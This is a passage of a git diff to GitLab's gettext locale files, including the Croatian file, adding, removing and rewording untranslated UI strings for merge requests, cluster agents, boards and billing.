+msgstr ""
+
msgid "mrWidget|Hide %{widget} details"
msgstr ""
@@ -41065,21 +41722,36 @@ msgstr ""
msgid "mrWidget|Merge blocked: all threads must be resolved."
msgstr ""
+msgid "mrWidget|Merge blocked: denied licenses must be removed."
+msgstr ""
+
msgid "mrWidget|Merge blocked: fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
+msgid "mrWidget|Merge blocked: merge conflicts must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge blocked: pipeline must succeed. It's waiting for a manual action to continue."
msgstr ""
+msgid "mrWidget|Merge blocked: this merge request must be approved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
msgid "mrWidget|Merge locally"
msgstr ""
+msgid "mrWidget|Merge unavailable: merge requests are read-only on archived projects."
+msgstr ""
+
msgid "mrWidget|Merged by"
msgstr ""
+msgid "mrWidget|Merges changes into"
+msgstr ""
+
msgid "mrWidget|Merging! Changes are being shipped…"
msgstr ""
@@ -41092,6 +41764,15 @@ msgstr ""
msgid "mrWidget|Merging! Everything's good…"
msgstr ""
+msgid "mrWidget|Merging! Lift-off in 5… 4… 3…"
+msgstr ""
+
+msgid "mrWidget|Merging! Take a deep breath and relax…"
+msgstr ""
+
+msgid "mrWidget|Merging! The changes are leaving the station…"
+msgstr ""
+
msgid "mrWidget|Merging! This is going to be great…"
msgstr ""
@@ -41131,9 +41812,6 @@ msgstr ""
msgid "mrWidget|Resolve conflicts"
msgstr ""
-msgid "mrWidget|Resolve these conflicts or ask someone with write access to this repository to merge it locally"
-msgstr ""
-
msgid "mrWidget|Revert"
msgstr ""
@@ -41164,9 +41842,6 @@ msgstr ""
msgid "mrWidget|The changes were not merged into"
msgstr ""
-msgid "mrWidget|The changes will be merged into"
-msgstr ""
-
msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/hr_HR/gitlab.po b/locale/hr_HR/gitlab.po
index 53d09604d6c..fd845906783 100644
--- a/locale/hr_HR/gitlab.po
+++ b/locale/hr_HR/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: hr\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:39\n"
+"PO-Revision-Date: 2021-12-06 18:56\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -70,9 +70,6 @@ msgstr ""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr ""
-msgid "\"el\" parameter is required for createInstance()"
-msgstr ""
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -271,6 +268,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] ""
@@ -331,6 +334,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] ""
@@ -409,6 +418,12 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] ""
@@ -472,6 +487,12 @@ msgstr[2] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr ""
@@ -553,6 +574,12 @@ msgstr[2] ""
msgid "%{count} approvals from %{name}"
msgstr ""
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} files touched"
msgstr ""
@@ -778,7 +805,7 @@ msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr ""
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
@@ -832,6 +859,9 @@ msgstr ""
msgid "%{name} is already being used for another emoji"
msgstr ""
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr ""
@@ -865,9 +895,6 @@ msgstr ""
msgid "%{oneYearAgo} - %{today}"
msgstr ""
-msgid "%{openOrClose} %{noteable}"
-msgstr ""
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr ""
@@ -892,6 +919,9 @@ msgstr ""
msgid "%{primary} (%{secondary})"
msgstr ""
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr ""
@@ -925,6 +955,9 @@ msgstr ""
msgid "%{scope} results for term '%{term}'"
msgstr ""
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -973,9 +1006,6 @@ msgstr ""
msgid "%{start} to %{end}"
msgstr ""
-msgid "%{state} epics"
-msgstr ""
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1081,6 +1111,9 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1213,6 +1246,12 @@ msgstr ""
msgid "(revoked)"
msgstr ""
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "(this user)"
msgstr ""
@@ -1222,6 +1261,9 @@ msgstr ""
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr ""
@@ -1261,6 +1303,9 @@ msgstr ""
msgid "+%{tags} more"
msgstr ""
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ""
@@ -1591,9 +1636,6 @@ msgstr ""
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr ""
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr ""
-
msgid "A new impersonation token has been created."
msgstr ""
@@ -1630,9 +1672,6 @@ msgstr ""
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr ""
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr ""
-
msgid "A title is required"
msgstr ""
@@ -1681,9 +1720,6 @@ msgstr ""
msgid "APIFuzzing|Choose a profile"
msgstr ""
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -1819,9 +1855,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr ""
-
msgid "Access denied: %{error}"
msgstr ""
@@ -2068,12 +2101,18 @@ msgstr ""
msgid "Add a related issue"
msgstr ""
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr ""
msgid "Add a task list"
msgstr ""
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr ""
@@ -2116,6 +2155,12 @@ msgstr ""
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr ""
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2158,9 +2203,6 @@ msgstr ""
msgid "Add new directory"
msgstr ""
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr ""
@@ -2230,6 +2272,9 @@ msgstr ""
msgid "Add variable"
msgstr ""
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr ""
@@ -2275,9 +2320,6 @@ msgstr ""
msgid "Added an issue to an epic."
msgstr ""
-msgid "Added at"
-msgstr ""
-
msgid "Added for this merge request"
msgstr ""
@@ -2320,7 +2362,7 @@ msgstr ""
msgid "Adds %{labels} %{label_text}."
msgstr ""
-msgid "Adds a Zoom meeting"
+msgid "Adds a Zoom meeting."
msgstr ""
msgid "Adds a to do."
@@ -2329,7 +2371,7 @@ msgstr ""
msgid "Adds an issue to an epic."
msgstr ""
-msgid "Adds email participant(s)"
+msgid "Adds email participant(s)."
msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
@@ -2425,6 +2467,9 @@ msgstr ""
msgid "AdminArea|Maintainer"
msgstr ""
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr ""
@@ -2491,7 +2536,7 @@ msgstr ""
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
msgstr ""
msgid "AdminProjects|Delete"
@@ -3028,19 +3073,28 @@ msgstr ""
msgid "Advanced export options"
msgstr ""
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr ""
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
@@ -3631,9 +3685,6 @@ msgstr ""
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr ""
-msgid "An empty index will be created if one does not already exist"
-msgstr ""
-
msgid "An error has occurred"
msgstr ""
@@ -3661,6 +3712,9 @@ msgstr ""
msgid "An error occurred fetching the project authors."
msgstr ""
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr ""
@@ -3820,6 +3874,9 @@ msgstr ""
msgid "An error occurred while loading chart data"
msgstr ""
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr ""
@@ -4003,6 +4060,9 @@ msgstr ""
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr ""
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr ""
@@ -4042,6 +4102,9 @@ msgstr ""
msgid "Analyze your dependencies for known vulnerabilities."
msgstr ""
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr ""
@@ -4084,9 +4147,6 @@ msgstr ""
msgid "Any encrypted tokens"
msgstr ""
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr ""
-
msgid "Any label"
msgstr ""
@@ -4099,9 +4159,6 @@ msgstr ""
msgid "Any namespace"
msgstr ""
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr ""
@@ -4159,6 +4216,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr ""
@@ -4168,6 +4228,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr ""
@@ -4585,6 +4648,9 @@ msgstr ""
msgid "Are you sure you want to delete this SSH key?"
msgstr ""
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr ""
@@ -4789,6 +4855,9 @@ msgstr ""
msgid "Assign to commenting user"
msgstr ""
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr ""
@@ -4888,6 +4957,9 @@ msgstr ""
msgid "Audit Events"
msgstr ""
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr ""
@@ -5536,6 +5608,9 @@ msgstr ""
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5614,6 +5689,9 @@ msgstr ""
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr ""
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr ""
@@ -5623,12 +5701,21 @@ msgstr ""
msgid "BoardScope|Any assignee"
msgstr ""
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr ""
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr ""
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr ""
@@ -5641,6 +5728,9 @@ msgstr ""
msgid "BoardScope|Select assignee"
msgstr ""
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr ""
@@ -5734,6 +5824,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5746,6 +5839,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6037,10 +6133,13 @@ msgstr ""
msgid "BulkImport|Import groups from GitLab"
msgstr ""
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr ""
-msgid "BulkImport|Importing the group failed"
+msgid "BulkImport|Importing the group failed."
msgstr ""
msgid "BulkImport|Last imported to %{link}"
@@ -6049,6 +6148,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6295,6 +6397,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr ""
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6589,10 +6694,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr ""
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6643,9 +6748,6 @@ msgstr ""
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6658,6 +6760,9 @@ msgstr ""
msgid "Changes to the title have not been saved"
msgstr ""
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -6721,10 +6826,10 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
-msgid "Check the current instance configuration "
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
msgstr ""
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
+msgid "Check the current instance configuration "
msgstr ""
msgid "Check with your administrator."
@@ -6787,6 +6892,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6802,9 +6910,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr ""
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr ""
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr ""
@@ -7003,9 +7108,6 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr ""
-
msgid "Choose a file"
msgstr ""
@@ -7303,6 +7405,9 @@ msgstr ""
msgid "Clients"
msgstr ""
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7345,6 +7450,9 @@ msgstr ""
msgid "Close %{issueType}"
msgstr ""
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7387,12 +7495,6 @@ msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7414,16 +7516,31 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7435,9 +7552,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7447,6 +7585,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7456,28 +7597,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7489,6 +7633,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7501,60 +7648,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7696,15 +7861,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7831,9 +7999,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7879,12 +8044,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7906,9 +8065,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8209,6 +8365,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
